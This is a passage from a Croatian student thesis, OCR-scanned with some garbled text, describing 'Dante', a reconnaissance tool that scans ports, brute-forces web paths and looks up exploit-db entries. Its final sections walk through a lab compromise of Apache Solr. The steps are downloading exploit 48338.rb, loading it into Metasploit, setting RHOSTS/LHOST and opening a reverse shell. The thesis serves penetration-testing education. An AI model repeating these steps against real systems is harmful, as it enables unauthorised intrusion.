kojem radi Apache Solr u kontejneru na portu 8983
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keljo@0x41: (master)$ python3 dante.py 127.0.0.1
Starting nmap

Most common ports scan? [y/n]? y

Ok scanning most common ports only

Done with scan, 1 port up

Port 8983 is open and its running Apache Solr version unknown
Found 3 exploits for Apache Solr!

Found working HTTP server, please enter path to wordlist

#= ../dr.buster/words.txt

Web server working on port 8983, preparing dr.bust for it
Starting scan on 127.0.0.1:8983..

Validating url 127.0.0.1:8983

Initial GET to see if host is up

https://127.0.0.1:8983/. doesnt seem to support TLSvl.

I'm trying http...

It worked.. I'm continuing with http requests

[UP] == got 302

Requesting path /aaaabbbb2 to set NOT_FOUND_CODE.

Some sites dont have 404 for not found, but rather retirect to the homepage if path doesnt exist
NOT_FOUND_CODE is 404

Loading words from ../dr.buster/words.txt

Loaded 1004 words

Detected 4 cores on this system, starting 32 processes
Loading 31 words per process

http://127.0.0.1:8983/ returned [302]!

Done, generated report in dante_report.html

Slika 6.4 Prikaz sucelja naredbenog retka (engl. command line interface) nakon pokretanja Dantea

Kao §to mozemo vidjeti u Slika 6.4 Dante nam je prikazao otvoreni port 8983, te je pronasao
da Apache Solr trenutno slusa na tom portu. Takoder mozemo vidjeti kako je zapoceo i sken
direktorija web aplikacije. Razlog tomu je $to Apache Solr ima svoje web sucelje. Nadalje,
dr.buster nam je skenirao sve rute koje smo mu pruzili iz datoteke words.txt te je pronasao
kako je web stranica odgovorila potvrdno za samo jednu rutu iz datoteke words.txt. Na kraju

skena mozemo vidjeti kako nas je Dante obavijestio o generiranom izvjescu.

6.2. Pregled izvjeséa kojeg je generirao sustav

Koriste¢i internet preglednik otvoriti ¢emo generirano izvjesce
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Slika 6.5 Generirano izvje$¢e Dantea

Slika 6.5 prikazuje nase generirano izvje$ée. Vidimo da nam Apache Solr radi na portu 8939.
Takoder vidimo kako postoje 2 potvrdena exploit-a, te 1 nepotvrden. Te informacije nam je
pronasao exploit-db-wrapper. Na dnu izvjes¢a vidimo rute koje je pronasao dr.buster.
Ukoliko bi ovdje bilo vise ranjivih servisa Dante bi ih zapisao na isti nac¢in. Ovakvo izvjesce
je odli¢an pocetak u pisanju naseg sigurnosnog izvjesc¢a, znamo koji servisi rade, postoje li
poznate ranjivosti za iste te imamo pregled pronadenih ruta ukoliko je to web aplikacija za

lakSe testiranje.
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6.3. Koristenje koéda koji iskoriStava ranjivost radi
ostvarivanja kompromitacije

Nakon $to nam je Dante generirao izvjeS¢e mozemo iskoristiti linkove na stranice kako bi
preuzeli exploit-e. Simulirati ¢emo napadaca (tj. nas kao ispitivaca) kroz sustav Kali

Linux®. On radi u virtualnoj masini te ima pristup na$oj mrezi na kojoj radi kontejner s

Apache Solr-om.

=@ Private Browsing

c @ t exploit-db.com

Kali Linux  Kali Training 2 s
You have chosen to open:
B 48338.rb
which is: Ruby script
from: https://www.exploit-db.com

What should Firefox do with this file?
0 ult)

Slika 6.6 Prikaz skidanja koda koji iskoristava ranjivost koriste¢i internet preglednik

Kali Linux ima veé skinuti metasploit-framework®’, to je alat koji koriste gotovo svi
sigurnosni testeri. On u sebi ima puno moguénosti, no to je van opsega ovog rada. Nakon
Sto smo skinuli exploit, potrebno ga je premjestiti u direktorij gdje se nalazi metasploit-ova
baza exploit-ova.

rootikali:/home/kali/Downloads# 1s

Fehe

48338.1b

Slika 6.7 Prikaz naredbe Is

3 https://www.kali.org/
37 https://www.metasploit.com/
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Koriste¢i naredbu Is na Slika 6.7 vidjeli smo kako na$ exploit imena 48338.rb postoji u
direktoriju.

Loads# cp 48
/Downloads# 1s -1

root root

3 root root
root root L4@9¢ 2 android
root root & pple_ios
root root bsd
root root

root root ;

root root . mple_linux_p
root root mple.rb

root root 639¢ 8: example_webapp.rb

3 root root
root root
root root
root root
root root & linu
root root . mainframe
root root L4@9¢ @7 multi
root root . L are
root root (& openbsd
root root
root root
root root
root root
root root L4@9¢ |l 27 13:12 windows

Slika 6.8 Prikaz premjestanja exploita u metasploit-ovu bazu

Kao $to vidimo na Slika 6.8 crvenim je oznac¢en nas pripremljeni exploit, sada nam preostaje

upaliti metasploit-framework i iskoristiti taj kod.

root@kali: /home/kali/Downloads# msfconsole

sploit tip: Tired of setting RHOSTS for modules? Try globally setting it with set

Slika 6.9 Prikaz metasploit-framework-a
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Nakon $to smo upalili metasploit potrebno mu je navesti koji exploit zelimo koristiti prikaz

toga je na sljedecoj slici

Exploit target:
Id

© Unix (in-memory

loit( N |

Slika 6.10 Prikaz u¢itavanja exploit-a i prikaza opcija koje nudi exploit

Na Slika 6.10 vidimo ucitavanje exploit-a koristenjem kljucne rijeéi ,,use” i navodenje puta
do explot-a (onaj direktorij u koji smo kopirali sa Slika 6.8). Nakon $to smo ucitali exploit,
vrijeme je da pogledamo koje sve opcije exploit nudi. Nama su bitni ,,RHOSTS® §to
predstavlja IP adresu racunala kojeg napadamo, a ,,LHOST* je adresa mreznog sucelja (engl.

network interface) koju zelimo koristiti.

Koristit ¢emo naredbu ip a kako bi dosli do IP adrese Kali Linux sustava.

eue state UNKNOWN group default glen 1000

ope host lo
r preferred_lft forever
host

gdisc pfifo_fast state UP group default glen 1000
i Ff
19.10.11. 4 br -10.11. global dynamic noprefixroute eth®
alia_Ltt 1 c

ink noprefixroute

Slika 6.11 Prikaz naredbe ip a na Kali Linux sustavu

Crvenom bojom na Slika 6.11 oznacen je IP naseg Kali Linux napadackog sustava koji je
10.10.11.129.
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keljo@dx4l:-% ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_1ft forever
inet6 ::1/128 scope host

valid_Llft forever preferred_lft forever
2: enp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default glen 1004
link/ether 40:8d:5c:83:7b:8f brd ff:ff:ff:ff:ff:ff
inet 10.10.10.2/24 brd 10.10.10.255 scope global enp3s0
valid_1ft forever preferred_lft forever
inet6 fe80::428d:5cff:fe83:7b8f/64 scope link
valid Lft forever preferred 1ft forever

Slika 6.12 Prikaz naredbe "ip a" na sustavu gdje je Apache Solr

Kao i na Slika 6.11, na Slika 6.12 vidimo da je IP adresa naseg sustava gdje je Apache Solr
10.10.10.2.

Nakon $to smo prikupili ova 2 podatka spremni smo iskoristiti ranjivost na sustavu. Prije

iskori§tavanja ranjivosti moramo postaviti te 2 IP adrese u,,LHOST* 1 ,,RHOSTS* varijable.

exploit( )} » s¢ STS 19.1@.10.2
16.10.10.2
16.18.11.129

10.10.11.129
Slika 6.13 Prikaz postavljanja varijabli u metasploit-u
Varijable postavljamo klju¢nom rijeci ,,set™ pa ime varijable i vrijednost.

Nakon postavljanja varijabli vrijeme je za kompromitaciju ranjivog sustava. U metasploit-u
to radimo s kljuénom rijeci ,.exploit®.

msf5 exploit( } » exploit

Started reverse TCP handler on 10.10.11.129:4444

Slika 6.14 Prikaz pokretanja explot-a u svrhu kompromitacije sustava

Nakon uspjesnog pokretanja exploit-a imamo pristup ljusci (engl. shell) ranjivog sustava kao

solr korisnik.

id

uid=8983(solr) gid=8983(solr) groups=

Slika 6.15 Prikaz pokretanja naredbe id u ljusci kompromitiranog sustava

Slika 6.15 vidimo uspjesnu kompromitaciju sustava. Naredba id vrac¢a informacije o trenutno

prijavljenom korisniku.
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Zakljuéak

Izrada ovog sustava bio je izazov koji je zahtijevao znanje iz viSe podrucja (mreZe, sigurnost
i programiranje). Tokom izrade sam spoznao kako je sigurnost jo$ §iri pojam nego §to sam
mislio. Postoji bezbroj parametara koji mogu narusiti sigurnosti nekog sustava. Tokom
osmisljavanja i programiranja Dantea morao sam konstantno vagati izmedu kompleksnosti

sustava i korisnosti. Sto sam vi$e pojednostavio sustav to je vise korisnost padala i obrnuto.

KoriStenje ovog sustava napravljeno je veoma lagano za krajnjeg korisnika, dok je rezultat

koristan. Stoga zaklju¢ujem da sam uspio zadovoljiti tu toc¢ku.

Ukoliko pokrenemo ovakav sustav nad nekim serverom i on ne pronade niti jednu ranjivost,
mozemo re¢i da smo na dobrom tragu sigurnosti tog servera. Razlog tomu je taj $to ne
mozemo za nijedan sustav reéi da je sto postotno siguran. Zlonamjerni hakeri svakim danom
traze nove na¢ne i rupe kako bih ostvarili kompromitaciju sustava. Ovim radom sam
pridonio zajednici svih dobronamjernih hakera pri izvrSavanju njihova posla. Smatram da se
ovaj rad moze dodatno nadograditi, i s time postati i kompleksniji i korisniji, no to je trenutno
previse kompleksno za moje znanje. Nakon odredenog sakupljenog iskustva smatram da ¢u

biti u mogucénosti nadograditi ovaj rad, tako da pruza jo$ vise moguénosti korisnicima.

Dante bi se mogao nadograditi u vise smjerova, primjerice: implementacija ovakvog rada u
C++% programskom jeziku radi brzine ili prikaz ranjivosti za koje jo§ nema poznatih

exploitova (koristenje cve.mitre.org® stranice za prikupljanje informacija o ranjivostima).

U kojem se god smjeru Dante bude nadogradivao drzati ¢u se nacela da uvijek bude

jednostavan za koristenje, potpuno besplatan i otvorenog koda.

38 https://en.wikipedia.org/wiki/C%2B%2B
39 https://cve.mitre.org/
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Popis kratica

HTTP Hypertext Transfer Protocol
Internetu

HTTPS Hypertext Transfer Protocol Secure
na Internetu

HTML Hypertext markup language
stranicana

SSL Secure Sockets Layer

IP Internet Protocol

URL  Uniform Resource Locator

Internetu

JSON JavaScript Object Notation

CVE Common Vulnerabilities and Exposures
DNS  Domain Name System

mrezi

metoda prijenosa informacija na

sigurna metoda prijenosa informacija
prezentacijski jezik za izradu internet

sigurni transportni protocol
mrezni protokol

putanja do odredenog sadrzaja na

format spremanja podataka
sustav referenciranja javnih ranjivosti

sustav imenovanja uredaja na nekoj
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